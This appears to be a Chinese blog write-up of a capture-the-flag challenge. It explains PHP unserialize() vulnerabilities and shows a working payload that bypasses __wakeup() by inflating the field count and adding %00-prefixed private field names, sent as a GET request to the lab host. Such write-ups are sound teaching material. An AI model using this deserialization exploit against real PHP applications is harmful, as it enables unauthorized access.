buu [极客大挑战 2019]PHP

php反序列化漏洞指的是:攻击者构造一个序列化的对象,并控制其中的参数,传给反序列化函数unserialize(),而php反序列化时不会检查传入的数据是否合法,所以可以利用构造的payload调用对象的魔术方法(比如__destruct()),从而获取敏感信息或者执行恶意代码。比如一个魔术方法能够将传入的对象属性写入文件,那么我们就可以把木马代码作为属性值来构造序列化的对象,从而注入木马,进一步获取shell权限。

打开本题网页,发现重点是网页备份,所以使用dirsearch对网站后台进行扫描,20分钟后扫出结果,发现备份文件www.zip
image

解压后查看index.php,看到页面通过get方法获得select的值,并将其反序列化,传给变量res
image

查看class.php,只有username='admin'且password=100时,执行__destruct()时会输出flag。__destruct()是php中的一个魔术方法,当一个对象不再被引用且没有被关联到其他变量时,PHP 的垃圾回收机制将会对其进行回收并销毁,这时就会自动调用 __destruct() 函数。

image

我们获得序列化后的对象

var_dump(serialize(new Name('admin',100)));

输出如下

string(77) "O:4:"Name":2:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}" 

# 解释
O:4:"Name" : // 表示一个类型为 object、类名为 Name、序列化后长度为 4 字节的对象
2:{         // 表示该对象包含两个字段
  s:14:"Nameusername";  // 第一个字段名为 Nameusername,长度为 14 字节
  s:5:"admin";          // 第一个字段的值为字符串 "admin",长度为 5 字节
  s:14:"Namepassword";  // 第二个字段名为 Namepassword,长度为 14 字节
  i:100;                // 第二个字段的值为整数 100
}

尝试get请求,但是失败。这是因为php在执行unserialize()前会先检查是否存在__wakeup()方法,如果存在则会执行它,而该函数将用户名改成了guest。__wakeup()方法也是php中的一个魔术方法,php反序列化生成对象时,会先使用__construct()创建一个新的对象,然后使用__wakeup()对其进行初始化操作。

http://92daf906-cf88-4e98-9106-b67601822c20.node4.buuoj.cn:81/?select=O:4:%22Name%22:2:{s:14:%22Nameusername%22;s:5:%22admin%22;s:14:%22Namepassword%22;i:100;}

image

绕过__wakeup()的方法是让序列化后的对象的字段个数大于对象的真实字段个数,这样__wakeup()就没法执行了。这里把2改成3。

O:4:"Name":3:{s:14:"Nameusername";s:5:"admin";s:14:"Namepassword";i:100;}

然后,由于username和password都是private字段,在序列化时需要在类名和字段名前面补%00前缀。(之前输出的序列化字符串里其实有%00,但是是不可打印字符,所以Nameusername的长度显示14字节,需要手动补充下)

O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;}

即可获得flag
image

posted @ 2023-04-27 17:39  Nemuzuki  阅读(54)  评论(0编辑  收藏  举报